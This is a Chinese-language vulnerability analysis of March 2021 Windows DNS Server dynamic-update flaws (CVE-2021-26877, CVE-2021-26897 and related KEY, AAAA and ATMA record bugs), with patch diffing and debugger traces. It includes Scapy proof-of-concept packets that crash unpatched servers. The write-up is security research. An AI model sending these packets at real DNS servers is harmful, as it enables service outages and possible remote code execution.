作者:Strawberry @ QAX CERT
原文鏈接:https://mp.weixin.qq.com/s/2D9WYLI_hgGOdBRUrBw6KQ

2021 年 3 月,微軟于補丁日發布了關于 Windows DNS Server 的五個遠程代碼執行漏洞和兩個拒絕服務漏洞,漏洞編號如下:

RCE漏洞 CVE-2021-26877,CVE-2021-26897(Exploitation More Likely) CVE-2021-26893,CVE-2021-26894,CVE-2021-26895(Exploitation Less Likely)

DoS漏洞 CVE-2021-26896,CVE-2021-27063(Exploitation Less Likely)

Windows DNS Server 存在多個遠程代碼執行漏洞和拒絕服務漏洞,攻擊者可通過向目標主機發送特制請求來利用這些漏洞,成功利用這些漏洞可在目標主機上以 SYSTEM 權限執行任意代碼或導致 DNS 服務拒絕服務。啟用安全動態更新可暫時緩解這些漏洞,但攻擊者依然可以通過加入域的計算機攻擊啟用了安全區域更新的 DNS 服務器。

攻擊面說明

從通告的 FAQ 說明上看,這些漏洞都存在于 Windows DNS Server 進行動態區域更新的過程中。DNS 更新功能使 DNS 客戶端計算機能夠在發生更改時向 DNS 服務器注冊并動態更新其資源記錄(RR)。 使用此功能可以縮短手動管理區域記錄所需的時間,從而改進 DNS 管理。動態區域更新功能可以部署在獨立的 DNS 服務器或 Active Directory(AD)集成的 DNS 服務器上。最佳實踐是部署與 AD 集成的DNS,以便利用 Microsoft 的安全性,如 Kerberos 和 GSS-TSIG。

動態更新類型:

  • 安全動態區域更新:驗證所有 RR 更新均已使用加入域的計算機上的 GSS-TSIG 進行了數字簽名。此外,可以對哪些主體可以執行動態區域更新應用更精細的控件。
  • 不安全的動態區域:任何計算機無需任何身份驗證即可更新 RR(不建議)。

在DNS服務器上創建區域時,可以選擇啟用或禁用 DNS 動態區域更新:

  • 將 DNS 部署為獨立服務器時,默認情況下將禁用“動態區域更新”功能,但可以在安全/非安全模式下啟用該功能。
  • 將 DNS 部署為 AD 集成時,默認在安全模式下啟用“動態區域更新”

以下為 McAfee 關于 Windows DNS Server 部署模型制作的威脅分析表格:

  • 部署在公網啟用動態更新的 Windows DNS Server 風險最高(這種配置是極其不推薦的,應該很少有這種配置)
  • 部署 AD 集成的 Windows DNS Server 默認在安全模式下啟用“動態區域更新”,可減輕未經身份驗證的攻擊者的風險,但仍具有受威脅的域計算機或受信任內部人員實現 RCE 的風險

參考鏈接:https://www.mcafee.com/blogs/other-blogs/mcafee-labs/seven-windows-wonders-critical-vulnerabilities-in-dns-dynamic-updates/

CVE-2021-26877 漏洞復現分析

  • 使用 TXT length 大于 Data length 的 TXT 資源記錄進行區域的動態更新時可觸發此漏洞

根據 McAfee 博客中的信息可知,此漏洞在更新 TXT 記錄時產生,TXT 記錄中的 TXT Length 被設置為 0xFF,這個值大于資源記錄里指定的 Data Length (0xbd),這個長度表示的是這個記錄后面的所有數據的長度,在當前場景下,包括所有的 TXT Length 和 TXT 數據的長度。使用 Scapy 構造數據包及抓包數據如下:

    query = DNSQR(qname='mal', qtype='SOA')
    RRTXT = DNSRR(rrname="A.mal",type='TXT',rdlen=0xbd,rdata='\x41'*0xff)   // 0xff 可修改為更大的數,理論上只要比 0xbd 大即可
    packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,aa=1,tc=1,rd=0,ra=1,cd=1,rcode=5,qd=query,ns=RRTXT)

配置 DNS 服務器,新增一個名為 MAL 的主要區域,并設置允許動態更新。(啟用頁堆) 以下為漏洞觸發場景,問題出現在 dns!File_PlaceStringInFileBuffer 函數中,程序嘗試訪問超出邊界的數據:

0:019> g
(874.9a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
dns!File_PlaceStringInFileBuffer+0xa2:
00007ff7`50cc67f6 410fb60c24      movzx   ecx,byte ptr [r12] ds:00000271`34988000=??

0:004> k
 # Child-SP          RetAddr           Call Site
00 000000bc`b82ff3f0 00007ff7`50cc731e dns!File_PlaceStringInFileBuffer+0xa2
01 000000bc`b82ff440 00007ff7`50bc26a9 dns!TxtFileWrite+0x6e
02 000000bc`b82ff490 00007ff7`50c5da3d dns!RR_WriteToFile+0x205
03 000000bc`b82ff4f0 00007ff7`50c5ecc6 dns!Up_LogZoneUpdate+0x6ad
04 000000bc`b82ffc70 00007ff7`50c5ea30 dns!Up_CompleteZoneUpdate+0x26e
05 000000bc`b82ffd00 00007ff7`50c60c96 dns!Up_ExecuteUpdateEx+0x338
06 000000bc`b82ffd60 00007ff7`50c616ba dns!processWireUpdateMessage+0x456
07 000000bc`b82ffe00 00007ff7`50c550ad dns!Update_Thread+0x12a

0:004> !heap -p -a r12    //在 CopyWireRead 函數中調用 RR_AllocateEx 申請空間。用戶可用的長度到 0x27134987ff5
    address 0000027134988000 found in
    _DPH_HEAP_ROOT @ 271126b1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             27132a28f08:      27134987ef0              105 -      27134987000             2000
    00007fff07e86d67 ntdll!RtlDebugAllocateHeap+0x000000000000003f
    00007fff07e2cade ntdll!RtlpAllocateHeap+0x000000000009d27e
    00007fff07d8da21 ntdll!RtlpAllocateHeapInternal+0x0000000000000991
    00007ff750cc2b4d dns!allocMemory+0x0000000000000039
    00007ff750cc2f28 dns!Mem_Alloc+0x000000000000008c
    00007ff750cc35c2 dns!RR_AllocateEx+0x000000000000003a
    00007ff750c3efd4 dns!CopyWireRead+0x0000000000000024
    00007ff750c3fed2 dns!Wire_CreateRecordFromWire+0x000000000000015a
    00007ff750c5f3d5 dns!writeUpdateFromPacketRecord+0x0000000000000035
    00007ff750c5fbe7 dns!parseUpdatePacket+0x0000000000000423
    00007ff750c60b6d dns!processWireUpdateMessage+0x000000000000032d
    00007ff750c616ba dns!Update_Thread+0x000000000000012a
    00007ff750c550ad dns!threadTopFunction+0x000000000000007d
    00007fff054a7974 KERNEL32!BaseThreadInitThunk+0x0000000000000014
    00007fff07dea271 ntdll!RtlUserThreadStart+0x0000000000000021

0:004> db r12-20    //這里要訪問 0x27134988000 處的數據
00000271`34987fe0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`34987ff0  41 41 41 41 41 d0 d0 d0-d0 d0 d0 d0 d0 d0 d0 d0  AAAAA...........
00000271`34988000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000271`34988010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000271`34988020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000271`34988030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000271`34988040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000271`34988050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

0:004> db ecx-14e l160    //將 TXT 數據寫入這個緩存區域
00000271`34989ff0  c0 c0 c0 c0 bb 05 fc ff-ef 0c 0c 0c 0c 0c 0c fe  ................
00000271`3498a000  0d 0a 24 53 4f 55 52 43-45 20 20 50 41 43 4b 45  ..$SOURCE  PACKE
00000271`3498a010  54 20 31 39 32 2e 31 36-38 2e 31 34 30 2e 31 32  T 192.168.140.12
00000271`3498a020  39 0d 0a 24 56 45 52 53-49 4f 4e 20 32 0d 0a 24  9..$VERSION 2..$
00000271`3498a030  41 44 44 0d 0a 41 20 20-20 20 20 20 20 20 20 20  ADD..A          
00000271`3498a040  20 20 20 20 20 20 20 20-20 20 20 20 20 30 09 54               0.T
00000271`3498a050  58 54 09 28 20 22 41 41-41 41 41 41 41 41 41 41  XT.( "AAAAAAAAAA
00000271`3498a060  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a070  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a080  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a090  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a0a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a0b0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a0c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a0d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a0e0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a0f0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a100  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a110  41 41 5c 33 32 30 5c 33-32 30 5c 33 32 30 5c 33  AA\320\320\320\3
00000271`3498a120  32 30 5c 33 32 30 5c 33-32 30 5c 33 32 30 5c 33  20\320\320\320\3
00000271`3498a130  32 30 5c 33 32 30 5c 33-32 30 5c 33 32 30 00 c0  20\320\320\320..
00000271`3498a140  c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  ................

漏洞分析 在 CopyWireRead 函數中,通過 RR_AllocateEx 函數申請長度為 data length 的空間,而在后續的操作中實際上會分配 data length + 0x38 + 0x10 大小的空間。0x10 為自定義頭部的大小、0x38 為 RR 頭部的大小。result 指向 RR 頭部,然后調用 memcpy 函數向緩沖區復制 data length 長度的數據。如果 data 數據長度大于 data length 長度也可以被處理,只是復制到緩存中會被截斷。

接下來在 TxtFileWrite 函數中會調用 File_PlaceStringInFileBuffer 函數,分別傳入待寫入緩沖區地址、待寫入緩沖區結尾地址、1、TXT 記錄緩存地址以及分組長度(每次不超過 0xFF)。這個長度就是從 data 字段中取出的,在調用 File_PlaceStringInFileBuffer 函數前沒有判斷這個長度是否超出了 TXT 緩存數據的界限(在這個函數內部也沒有判斷)。雖然在后面會有判斷(粉框內),但在第一次執行 File_PlaceStringInFileBuffer 函數的過程中就有可能會觸發漏洞。

在 File_PlaceStringInFileBuffer 函數中存在以下循環,使用傳入的 length 控制循環的次數,這會導致訪問超出邊界的數據。

補丁分析
以下為補丁后的 TxtFileWrite 函數,在調用 File_PlaceStringInFileBuffer 函數前,會判斷通過 TXT Length 尋址后的地址是否超出了申請的空間。

CVE-2021-26897 漏洞復現分析

  • 發送許多連續的 SIG 資源記錄動態更新可觸發此漏洞
  • 將許多連續的 SIG 資源記錄動態更新進行組合并將字符串進行 Base64 編碼時在堆上引發 OOB 寫操作

根據已有信息,可構造以下數據包。更新類型為 SIG,記錄超長(signature 字段超長)。注意這次需使用 TCP 連接,Scapy 不能直接構造,以下僅為模型:

    query = DNSQR(qname='mal', qtype='SOA')
    RRSIG = DNSRRRSIG(rrname=str(RandString(8))+'.mal', type="SIG", ttl=300,signersname="A.mal",signature='\x00'*0xff00)
    packet = IP(dst=ip)/TCP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRSIG)

以下為抓包數據:

漏洞觸發現場以及函數調用堆棧如下,異常的原因是 0x2713533c000 無法訪問。漏洞觸發是在 Dns_SecurityKeyToBase64String 函數(用于 Base64 編碼)中。

0:011> g
(874.c34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
dns!Dns_SecurityKeyToBase64String+0x66:
00007ff7`50d02c3a 41884001        mov     byte ptr [r8+1],al ds:00000271`3533c000=??
0:011> k
 # Child-SP          RetAddr           Call Site
00 000000bc`b867f3a8 00007ff7`50cc7f02 dns!Dns_SecurityKeyToBase64String+0x66
01 000000bc`b867f3b0 00007ff7`50bc26a9 dns!SigFileWrite+0x1f2
02 000000bc`b867f4a0 00007ff7`50bc244e dns!RR_WriteToFile+0x205
03 000000bc`b867f500 00007ff7`50bc1c92 dns!writeNodeRecordsToFile+0xa6
04 000000bc`b867f560 00007ff7`50bc1cb1 dns!zoneTraverseAndWriteToFile+0x42
05 000000bc`b867f590 00007ff7`50bc18f5 dns!zoneTraverseAndWriteToFile+0x61
06 000000bc`b867f5c0 00007ff7`50c6a2a3 dns!File_WriteZoneToFile+0x379
07 000000bc`b867f6c0 00007ff7`50c6a388 dns!Zone_WriteBack+0xfb
08 000000bc`b867f700 00007ff7`50d00580 dns!Zone_WriteBackDirtyZones+0xb4
09 000000bc`b867f790 00007ff7`50c56a74 dns!Zone_WriteBackDirtyVirtualizationInstances+0x110
0a 000000bc`b867f7c0 00007ff7`50c550ad dns!Timeout_Thread+0x544

查看出現問題的緩沖區,可以發現,其首地址為 0x271352bbff0 ,UserSize 為 0x80010,是在 File_WriteZoneToFile 函數中調用 Mem_Alloc 分配的。

0:011> !heap -p -a 271`3533c000
    address 000002713533c000 found in
    _DPH_HEAP_ROOT @ 271126b1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             27132a2ca90:      271352bbff0            80010 -      271352bb000            82000
    00007fff07e86d67 ntdll!RtlDebugAllocateHeap+0x000000000000003f
    00007fff07e2cade ntdll!RtlpAllocateHeap+0x000000000009d27e
    00007fff07d8da21 ntdll!RtlpAllocateHeapInternal+0x0000000000000991
    00007ff750cc2b4d dns!allocMemory+0x0000000000000039
    00007ff750cc2f28 dns!Mem_Alloc+0x000000000000008c
    00007ff750bc178c dns!File_WriteZoneToFile+0x0000000000000210
    00007ff750c6a2a3 dns!Zone_WriteBack+0x00000000000000fb
    00007ff750c6a388 dns!Zone_WriteBackDirtyZones+0x00000000000000b4
    00007ff750d00580 dns!Zone_WriteBackDirtyVirtualizationInstances+0x0000000000000110
    00007ff750c56a74 dns!Timeout_Thread+0x0000000000000544
    00007ff750c550ad dns!threadTopFunction+0x000000000000007d
    00007fff054a7974 KERNEL32!BaseThreadInitThunk+0x0000000000000014
    00007fff07dea271 ntdll!RtlUserThreadStart+0x0000000000000021

0:011> db 271352bbff0    //存放 MAL.dns 緩存信息
00000271`352bbff0  c0 c0 c0 c0 bb 16 fc ff-ef 0c 0c 0c 0c 0c 0c fe  ................
00000271`352bc000  3b 0d 0a 3b 20 20 44 61-74 61 62 61 73 65 20 66  ;..;  Database f
00000271`352bc010  69 6c 65 20 4d 41 4c 2e-64 6e 73 20 66 6f 72 20  ile MAL.dns for 
00000271`352bc020  44 65 66 61 75 6c 74 20-7a 6f 6e 65 20 73 63 6f  Default zone sco
00000271`352bc030  70 65 20 69 6e 20 7a 6f-6e 65 20 4d 41 4c 2e 0d  pe in zone MAL..
00000271`352bc040  0a 3b 20 20 20 20 20 20-5a 6f 6e 65 20 76 65 72  .;      Zone ver
00000271`352bc050  73 69 6f 6e 3a 20 20 32-35 0d 0a 3b 0d 0a 0d 0a  sion:  25..;....
00000271`352bc060  40 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20  @               

File_WriteZoneToFile 函數中調用 Mem_Alloc 申請大小為 0x80000 長度的空間,實際是通過 allocMemory 函數申請大小為 0x80010 長度的堆(包括 0x10 大小的頭部長度)。而觸發訪問異常的 0x2713533c000 正好和 0x271352bbff0 相差 0x80010。下一步要查看為何會有超出邊界的數據復制過來。

0:011> ?271`3533c000-271352bbff0
Evaluate expression: 524304 = 00000000`00080010

漏洞分析 通過回溯及數據跟蹤可關注到 zoneTraverseAndWriteToFile 函數,其第一個參數偏移 0x20 處保存了待寫緩沖區的實時地址。該函數會調用 writeZoneRoot、writeNodeRecordsToFile 等函數向緩沖區寫入數據。然后利用 NTree_FirstChild 以及 NTree_NextSiblingWithLocking 函數遍歷 NodeRecords,然后通過回調依次對這些節點進行處理。如果該節點偏移 0x5c 處沒有設置 0x10 的 flag,就會調用 writeNodeRecordsToFile 函數進行處理。

writeNodeRecordsToFile 函數中會調用 RR_WriteToFile 函數,在 RR_WriteToFile 函數中也會有判斷,如果當前緩沖區距離 end_addr 的長度小于 0x11000,就將緩沖區數據寫入文件,并重置緩沖區指針。但這里沒有考慮 Base64 編碼后是 3:4 的長度。

然后通過 type 類型從 RawRecordFileWrite 表中選擇相應的 FileWrite 處理函數,type 18 對應的是 SigFileWrite 函數,然后調用這個函數。(IDA 下面解析錯了,實際上 SigFileWrite 函數有 4 個參數)

SigFileWrite 函數用于解析 SIG 結構并將其寫入 MAL.dns 緩存,如下所示,SigFileWrite 函數拿到的初始緩存緩沖區指針為 p_buffer(來自第二個參數),在向其寫入 SIG 頭信息以及 Signer's name 后,v13 指向該緩沖區待寫入的地址,然后調用 Dns_SecurityKeyToBase64String 函數對 Signature 進行 Base64 編碼并將結果寫入 v13 指向的地址處。

如下所示,在調用 Dns_SecurityKeyToBase64String 函數時,第二個參數為 0xffb9,經過 Base64 編碼后的數據長度為 0x154f8。查看上下文可以發現(上圖所示),在向緩沖區寫入的每一步幾乎都用了 end_addr(用戶可用的最大長度) 作為限制,唯獨在 Dns_SecurityKeyToBase64String 函數的調用中沒有,這可能會造成隱患。

0:011> g
Breakpoint 1 hit
dns!Dns_SecurityKeyToBase64String:
00007ff7`50d02bd4 48895c2408      mov     qword ptr [rsp+8],rbx ss:000000bc`b867f3b0=000000bcb867f430
0:011> r rdx
rdx=000000000000ffb9
0:011> ?ffb9/3*4
Evaluate expression: 87284 = 00000000`000154f4
0:011> db r8 l20
00000271`34c16255  00 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  ................
00000271`34c16265  c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  ................

0:011> gu
dns!SigFileWrite+0x1f2:
00007ff7`50cc7f02 4c8bc8          mov     r9,rax

0:011> db 271`34c16255+154f4 l20    // 寫入了 0x154f8 字節數據
00000271`34c2b749  41 41 41 3d c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  AAA=............
00000271`34c2b759  c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  ................

由于向 zoneTraverseAndWriteToFile 函數中傳入的第一個參數是不變的,因而會一直向該緩沖區中寫入數據。雖然在 RR_WriteToFile 函數和 SigFileWrite 函數中有一些判斷,但仍未考慮數據 Base64 編碼后的長度,因而在多次循環寫入的時候,正好在 Dns_SecurityKeyToBase64String 函數的執行過程中觸發 OOB 寫操作。

補丁分析 更新后的 DNS 在 SigFileWrite 函數中調用 Dns_SecurityKeyToBase64String 函數前會進行以下判斷。會考慮當前緩沖區的剩余空間是否可以容納 Base64 編碼后的 Signature 數據。

補丁對比分析

以下為 3 月更新內發生變動的函數列表,包括前面已經分析過的TxtFileWrite 函數和 SigFileWrite 函數。

  • KEY 記錄問題

類似地,在 KeyFileWrite 函數中也加入了 Base64 編碼預檢查(粉框對應)。但不是這個的問題,補丁前已經有 a3 - (signed __int64)a2 < (signed int)(2 * v3) 這個判斷了,可以阻斷 CVE-2021-26897 式觸發。真正的原因我用藍框圈起來了,v3 來自 Data Length - 4,而且它是無符號 int 型,如果 Data Length 小于 4,會產生整數溢出。而它又作為 Dns_SecurityKeyToBase64String 函數的第二個參數,該函數指明待編碼數據長度,4 個字節的大整數,肯定會溢出的啦。

構造 POC 如下,觸發場景見下圖:

    query = DNSQR(qname='mal', qtype='SOA')
    RRKEY = DNSRR(rrname=str(RandString(8))+'.mal',type='KEY',rdlen=0 ,rdata='\x00'*0xff)
    packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRKEY)

另外,值得注意的是,CopyWireRead 函數中加入了以下判斷,經過分析可知,當接收 update 請求類型為 WKS、AAAA 或 ATMA 時,會分別判斷其 Data Length 是否小于 5、0x10、2。

  • AAAA 記錄問題

該請求會由 AaaaFileWrite 函數進行處理,經過前面的分析可知,a1 偏移 0x38 處指向 Data Length 字段后的記錄數據。經過 CopyWireRead 函數的處理,a1 偏移 0x38 處指向的數據的有效長度等于 Data Length 大小。如果 Data Length 小于 XXXFileWrite 函數中函數調用所需的數據長度,就有可能訪問到緩沖區邊界之外的數據(如 RtlIpv6AddressToStringA 函數)。

以下為 RtlIpv6AddressToStringA 函數原型,其第一個參數類型為 in6_addr,該長度應為 16 個字節。因而在新的 CopyWireRead 函數中會判斷 Data Length 大小是否小于 0x10。

NTSYSAPI PSTR RtlIpv6AddressToStringA(
  const in6_addr *Addr,
  PSTR           S
);

typedef struct in6_addr {
  union {
    UCHAR  Byte[16];
    USHORT Word[8];
  } u;
} IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR;

0:008> db rdx l10    //例:fe80::20c:29ff:fe5e:7b11
00000271`26ed9ecd  fe 80 00 00 00 00 00 00-02 0c 29 ff fe 5e 7b 11  ..........)..^{.

新的 AaaaFileWrite 函數中也會加入對待讀緩沖區和待寫緩沖區的判斷。

構造如下 POC 進行驗證,崩潰場景如下圖:

    query = DNSQR(qname='mal', qtype='SOA')
    RRAaaa = DNSRR(rrname=str(RandString(8))+'.mal',type='AAAA',rdlen=1,rdata='fe80::20c:29ff:fe5e:7b11')
    packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRAaaa)

  • ATMA 記錄問題

下面再來看 AtmaFileWrite 函數,CopyWireRead 函數中給的限制是:它的 Data Length 長度要大于等于 2。對比補丁前后,對 Data Length 長度判斷吸引了我的注意(右邊),如果是 0,就走結束流程。那么再看不補丁前的函數,v6 為 Data Length - 1 的無符號數,當 Data Length 為 0 時,v6 為 0xFFFFFFFF , 會產生整數溢出。而且,當 Data 數據的第一個字節為 1 時,會以 v6 做為控制長度向緩沖區復制數據(堆溢出)。

構造 ATMA 更新請求如下,為了使 Data Length 為 0 時,滿足漏洞觸發條件,需要在發送惡意請求時發送一些“鋪墊”數據,即保證 Data 數據的第一個字節(a1 偏移 0x38 處)為 1,且分配的大小一致。那么當觸發漏洞的請求到來時,申請的堆可能就來自之前的數據包。例:rdl 先 1(多個) 后 0(分配到 0x50 大小的自定義堆上),崩潰現場如下圖:

    query = DNSQR(qname='mal', qtype='SOA')
    RRATMA = DNSRR(rrname="A.mal",type='ATMA',rdlen=rdl,rdata='\x01'*0xff)
    packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRATMA)

  • WKS 記錄問題

WksFileWrite 函數中會打印 IP 地址,還有協議名稱,這需要保證數據必須大于等于5。如果發送的數據不到 5,就會讀取到后面的數據,這樣會存在一定程度的信息泄露(然而我覺得沒什么用)。

總結

微軟 3 月補丁日公開了 Windows DNS Server 中存在的多個遠程代碼執行漏洞和拒絕服務漏洞,這些漏洞都存在于 Windows DNS Server 進行動態區域更新的過程中。攻擊者可通過向目標主機發送特制請求來利用這些漏洞,成功利用這些漏洞可在目標主機上以 SYSTEM 權限執行任意代碼或導致 DNS 服務拒絕服務。通過對 McAfee 博客中的細節描述進行分析以及補丁比對,筆者構造 POC 復現了其中的 5 個(不包括 WKS)。如有不足之處,歡迎批評指正,期待技術交流。

參考鏈接

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/seven-windows-wonders-critical-vulnerabilities-in-dns-dynamic-updates/

https://docs.microsoft.com/zh-cn/troubleshoot/windows-server/networking/configure-dns-dynamic-updates-windows-server-2003

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26877

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26897


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1573/